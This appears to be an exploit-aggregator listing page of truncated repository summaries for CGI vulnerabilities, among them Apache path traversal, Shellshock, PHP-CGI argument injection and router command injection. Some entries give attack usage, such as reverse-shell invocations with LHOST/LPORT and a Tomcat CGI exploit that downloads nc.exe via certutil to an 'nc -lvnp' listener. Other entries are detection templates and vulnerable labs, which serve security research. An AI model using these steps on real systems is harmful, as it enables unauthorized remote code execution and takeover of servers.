CVE-2021-42013_Reverse-Shell

CVE-2021-42013Reverse-Shell PoC CVE-2021-42013 reverse shell Apache 2.4.50 with CGI Usage : root@kitploit: chmod -x CVE-2021-42013.sh ./CVE-2021-42013reverseshell.sh http://ip:port/ LHOST LPORT More info: root@kitploit: chmod -x CVE-2021-42013.sh ./CVE-2021-42013reverseshell.sh http://ip:8083...

CGIShell

CGIShell shellshock CVE-2014-6271 CGI Exploit Use like OpenSSH via CGI Page Use python cgishell.py 'http://www.google.com/cve-2014-6271/poc.cgi' Screenshot Dependence Windows needed pyreadline It is not needed chardet Future Add TestCase HTTP Login Support http transmission gzip compression chard...

CVE-2024-4577

CVE-2024-4577 Disclaimer This tool is intended only for personal security research and learning. Any direct or indirect consequences or losses caused by the dissemination or use of this tool are the sole responsibility of the user; the tool author assumes no responsibility. PHP NAME: PHP-CGI -...

CVE-2026-101001

A vulnerability was identified in Netcore NBR200V2 1.3.241127.071246. This impacts the function eval of the file /www/cgi-bin/networktools of the component Web Management Interface. Such manipulation of the argument QUERYSTRING leads to os command injection. It is possible to launch the attack...

CVE-2024-3273-D-Link-Remote-Code-Execution-RCE

CVE-2024-3273 - D-Link Remote Code Execution RCE Exploit Description This repository contains an exploit for CVE-2024-3273 , a critical vulnerability found in specific D-Link devices that allows for Remote Code Execution RCE. The vulnerability arises from improper input validation in the...

CVE-2024-4577

CVE-2024-4577 Exploit for php-cgi...

CVE-2024-4577

Nuclei Template for CVE-2024-4577 This Nuclei template serves as a Proof of Concept PoC for CVE-2024-4577, a PHP CGI Argument Injection vulnerability. Example Command root@kitploit: nuclei -t CVE-2024-4577.yaml -u https://example.com...

CVE-2021-41773

CVE-2021-41773 I have developed a POC of CVE-2021-41773 , RCE + cgi-bin path traversal NOTE : TESTED ON APACHE2 2.4.49 You can pulled vuln Apache2 2.4.49 directly from Docker root@kitploit: $ sudo docker pull blueteamsteve/cve-2021-41773:no-cgid $ sudo docker run -dit -p 80:80...

CVE-2024-4577-Nuclei-Template

CVE-2024-4577 Nuclei Template This repository contains a Nuclei template to detect the PHP CGI Argument Injection vulnerability identified as CVE-2024-4577. Template Details root@kitploit: id: CVE-2024-4577 info: name: CVE-2024-4577 PHP CGI Argument Injection author: Hüseyin TINTAŞ severity:...

PHP-CGI-RCE-Scanner

PHP CGI RCE CVE-2024-4577 Scanner Just a tool for educational purposes. No legal responsibility. Scanning CVE-2024-4577 vulnerability with a url list. Not only sending exploit, but also checking PHP version and whether php-cgi exists. Make it more informative to know why or why not exploit succes...

Telesquare TLR-2855KS6 - Arbitrary File Creation

An unauthorized file creation vulnerability in Telesquare TLR-2855KS6 via PUT method can allow creation of CGI scripts. id: CVE-2021-46418 info: name: Telesquare TLR-2855KS6 - Arbitrary File Creation author: DhiyaneshDK severity: high description: | An unauthorized file creation vulnerability in...

CVE-2026-73673

CVE-2026-73673: Netis NC63 Unauthenticated Firmware Update with Missing Cryptographic Firmware Authentication Original vulnerability research by Özcan Ersan @ozcanpng. This repository documents CVE-2026-73673, discovered and reported by the author. Non-destructive proof-of-concept and evidence...

CVE-2019-0232

Vulnerability Environment root@kitploit: Tomcat 8.5.39 Jdk 8u121 Edit web.xml file root@kitploit: cgi org.apache.catalina.servlets.CGIServlet debug 0 cgiPathPrefix WEB-INF/cgi-bin executable 5 cgi /cgi-bin/ Edit file...

CVE-2019-0232

CGI RCE Exploit PoC for unauthenticated RCE via CGI batch endpoints. Downloads nc.exe to the target using certutil and triggers a reverse shell. Setup 1. Serve nc.exe in the same directory where nc.exe is: root@kitploit: python3 -m http.server 80 2. Start your listener: root@kitploit: nc -lvnp...

shellshock-cve-lab

Shellshock CVE-2014-6271 lab This repository contains a small CGI lab for CVE-2014-6271. It compiles GNU bash 4.2, serves a CGI script through a Python RFC-3875-style server, and maps request headers into CGI environment variables. Sentinel reproduced this scenario on 2026-08-27 as a from-scratch...

CVE-2026-6837-zyxel-export-cgi-command-injection

CVE-2026-6837: Zyxel export-cgi PKCS12 Command Injection This repository packages the public writeup, quick verification script, and supporting evidence for CVE-2026-6837. What this is CVE-2026-6837 is a post-authentication command-injection flaw in Zyxel's export-cgi handler. On the...

exploitApache

exploitApache exploit for CVE-2021-41773: Path Traversal cgi-bin...

Cgi-Exploit-Jp-Shell-Upload

Cgi-Exploit-Jp-Shell-Upload Python 2.7 Di Baca Gan : Never open this Python tool in the editor / delete some code because it will cause an error, If an error occurs, please reinstall from this Github, thank you also use http:// in front of the example site http://site.com Donation : BTC :...

shellshock-victim-host

shellshock-victim-host A docker container vulnerable to Shellshock - CVE-2014-6271 Run root@kitploit: podman build -t shellshock-victim . podman run -it -p 80:8080 shellshock-victim Note: Builds with docker as well. The vulnerable app will be deployed on : http://localhost:8080/victim.cgi -...

CVE-2014-6271-Shellshock

CVE-2014-6271 Shellshock xpl0ited by infrar3d This repository contains a proof‑of‑concept exploit for CVE-2014-6271 Shellshock. Shellshock is a critical vulnerability in GNU Bash where specially crafted environment variables allow arbitrary command execution. When a web server passes HTTP headers...